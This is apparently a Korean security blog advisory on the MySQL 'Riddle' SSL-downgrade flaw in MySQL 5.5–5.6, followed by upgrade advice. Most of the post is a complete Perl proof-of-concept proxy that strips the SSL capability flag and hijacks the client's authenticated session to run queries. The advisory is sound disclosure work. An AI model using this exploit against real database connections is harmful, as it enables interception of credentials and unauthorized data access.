MySQL Riddle 취약점 발견
Riddle 취약점은 DBMS Oracle MySQL에 존재하는 것으로, 공격자는 해당 취약점을 악용하여 중간자 신분으로 사용자 계정정보를 탈취할 수 있습니다.
Riddle은 Oracle MySQL 5.5와 5.6 클라이언트 DB에서 발견된 고위험 취약점입니다. 공격자는 Riddle 취약점을 악용하여 서버와 클라이언트 간 주고받는 정보를 탈취할 수 있습니다. 해당 취약점은 MySQL DB중 BACKRONYM 취약점이 수정되지 않았기 때문에 발생합니다.
영향받는 버전
MySQL 5.5~5.6
PoC
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
my $lsock = IO::Socket::INET->new(Listen => 1, LocalAddr => '127.0.0.1', LocalPort => 3307, Proto => 'tcp', Reuse => 1) or die;
my $csock = $lsock->accept() or die;
my $ssock = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => 3306, Proto => 'tcp') or die;
sub mread {
my ($sock) = @_;
my $len;
$sock->read($len, 3) or die;
my ($l1, $l2, $l3) = unpack('CCC', $len);
my $l = $l1 | $l2 << 8 | $l3 << 16;
my $data;
$sock->read($data, $l+1) or die;
substr($data, 1, 1) eq "\xFF" and die substr($data, 10);
return wantarray ? ($len, $data) : $data;
}
my $slen;
my $sdata;
my $clen;
my $cdata;
($slen, $sdata) = mread($ssock);
my $cap = pack('C', unpack('C', substr($sdata, 49, 1)) & 0xF7); # turn off "switch to ssl"
substr($sdata, 49, 1) = $cap;
$csock->write($slen . $sdata) or die;
($clen, $cdata) = mread($csock);
$csock->write("\x23\x00\x00" . "\x02" . "\xff\x15\x04" . "\x23\x32\x38\x30\x30\x30" . "Access denied: MITM attack");
$csock->close();
$ssock->write($clen . $cdata) or die;
mread($ssock);
$ssock->write("\x2F\x00\x00" . "\x00" . "\x03" . "SELECT COUNT(*) FROM information_schema.TABLES") or die;
mread($ssock);
mread($ssock);
mread($ssock);
$sdata = mread($ssock);
print "SELECT COUNT(*) FROM information_schema.TABLES --> " . substr($sdata, 1) . "\n";
mread($ssock);
$ssock->write("\x01\x00\x00" . "\x00" . "\x01") or die;
$ssock->close();
해결방법
MySQL 5.7로 업데이트
Maria DB로 업데이트
참고 :
http://securityaffairs.co/wordpress/58019/hacking/oracle-mysql-riddle-vulnerability.html
해킹으로부터 보호하기 위해 당신의 기기를 해킹하는 봇넷 발견 (0) | 2017.04.20 |
---|---|
안티 분석 기능을 구현한 저렴한 서비스형 랜섬웨어 발견, Karmen 랜섬웨어 (0) | 2017.04.20 |
Apache Log4j 역직렬화 취약점 발견 (0) | 2017.04.19 |
크롬, 파이어폭스, 오페라에서 완벽한 탐지가 불가능한 피싱 공격 발견돼 (0) | 2017.04.18 |
Jackson 프레임워크에서 Java 역직렬화 코드실행 취약점 발견 (0) | 2017.04.17 |
댓글 영역